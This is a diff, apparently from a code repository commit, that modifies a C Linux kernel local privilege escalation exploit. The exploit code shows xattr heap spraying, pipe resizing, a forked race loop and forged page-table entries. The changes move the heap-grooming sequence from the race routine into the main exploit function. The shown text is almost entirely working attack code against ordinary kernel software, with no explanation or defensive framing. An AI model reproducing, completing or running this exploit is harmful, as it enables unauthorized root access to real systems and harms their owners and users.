@@ -278,7 +278,7 @@ void print_proc_self_maps_raw() {
278
278
279
279
close (fd );
280
280
}
281
- int race_id ;
281
+
282
282
void race (int group_leader ) { // caller must have ownership of the group
283
283
int pipefd [2 ];
284
284
uint64_t buf [0x4000 ] = {0 , };
@@ -289,27 +289,6 @@ void race(int group_leader) { // caller must have ownership of the group
289
289
}
290
290
int ppid = getppid ();
291
291
int status ;
292
- key_t keyid ;
293
- if (race_id == 1 ) {
294
- spray_xattr_page (0x3008 , 12 , 1 ); // 12296
295
- spray_xattr_page (0x4008 , 2 , 1 ); // 16392
296
- remove_xattr ("security.x16392_0" , 1 );
297
- remove_xattr ("security.x16392_1" , 1 );
298
- remove_xattr ("security.x12296_5" , 1 );
299
- remove_xattr ("security.x12296_6" , 1 );
300
- remove_xattr ("security.x12296_11" , 1 );
301
- resize_pipe (vuln_pipe [1 ], 0x1000 * 220 );
302
- remove_xattr ("security.x12296_10" , 1 );
303
- remove_xattr ("security.x12296_7" , 1 );
304
- if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
305
- perror ("reclaim failed" );
306
- exit (EXIT_FAILURE );
307
- }
308
- }
309
- if (setxattr ("/tmp/x1" , "security.ssiphim" , buf , 0x3008 , 0 ) < 0 ) {
310
- perror ("reclaim failed" );
311
- exit (EXIT_FAILURE );
312
- }
313
292
pid_t child_pid = fork ();
314
293
if (child_pid == 0 ) { // child read
315
294
for (int i = 0 ; i < 512 + 511 ; i ++ ){
@@ -332,11 +311,16 @@ void race(int group_leader) { // caller must have ownership of the group
332
311
for (int _ = 0 ; _ < 32 ; _ ++ ) {
333
312
read (group_leader , buf , sizeof (buf ));
334
313
}
335
- remove_xattr ("security.ssiphim " , 1 );
314
+ remove_xattr ("security.x12296_ssiphim " , 1 );
336
315
if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
337
316
perror ("reclaim failed" );
338
317
exit (EXIT_FAILURE );
339
318
}
319
+
320
+ if (setxattr ("/tmp/x1" , "security.x12296_ssiphim" , buf , 0x3008 , 0 ) < 0 ) {
321
+ perror ("reclaim failed" );
322
+ exit (EXIT_FAILURE );
323
+ }
340
324
uint64_t ptes [512 ];
341
325
for (int _ = 0 ; _ < 512 ; _ ++ )
342
326
ptes [_ ] = 0x8000000000000067 ;
@@ -568,9 +552,28 @@ uint64_t lpe_gogosing(int ii, int jj) {
568
552
void exploit (){
569
553
_pin_to_cpu (CPU_A ); // main core
570
554
sched_yield ();
571
- for (int _ = 0 ; _ < MAX_TRY ; _ ++ ) {
555
+
556
+ spray_xattr_page (0x3008 , 12 , 1 ); // 12296
557
+ spray_xattr_page (0x4008 , 2 , 1 ); // 16392
558
+ remove_xattr ("security.x16392_0" , 1 );
559
+ remove_xattr ("security.x16392_1" , 1 );
560
+ remove_xattr ("security.x12296_5" , 1 );
561
+ remove_xattr ("security.x12296_6" , 1 );
562
+ remove_xattr ("security.x12296_11" , 1 );
563
+ resize_pipe (vuln_pipe [1 ], 0x1000 * 220 );
564
+ remove_xattr ("security.x12296_10" , 1 );
565
+ remove_xattr ("security.x12296_7" , 1 );
566
+ if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
567
+ perror ("reclaim failed" );
568
+ exit (EXIT_FAILURE );
569
+ }
570
+ if (setxattr ("/tmp/x1" , "security.ssiphim" , buf , 0x3008 , 0 ) < 0 ) {
571
+ perror ("reclaim failed" );
572
+ exit (EXIT_FAILURE );
573
+ }
574
+
575
+ for (int i = 0 ; i < MAX_TRY ; i ++ ) {
572
576
r3try :
573
- race_id ++ ;
574
577
pid_t pid = fork ();
575
578
if (pid == 0 ) {
576
579
int ret = 0 ;
@@ -611,7 +614,7 @@ void exploit(){
611
614
// ret = 1;
612
615
// goto gg;
613
616
// }
614
-
617
+
615
618
kill (siblings_fork_pid [0 ], SIGCONT );
616
619
for (int _ = 0 ; _ < RACE_PER_ITER ; _ ++ ) {
617
620
atomic_store (& race_sync , 0 );
0 commit comments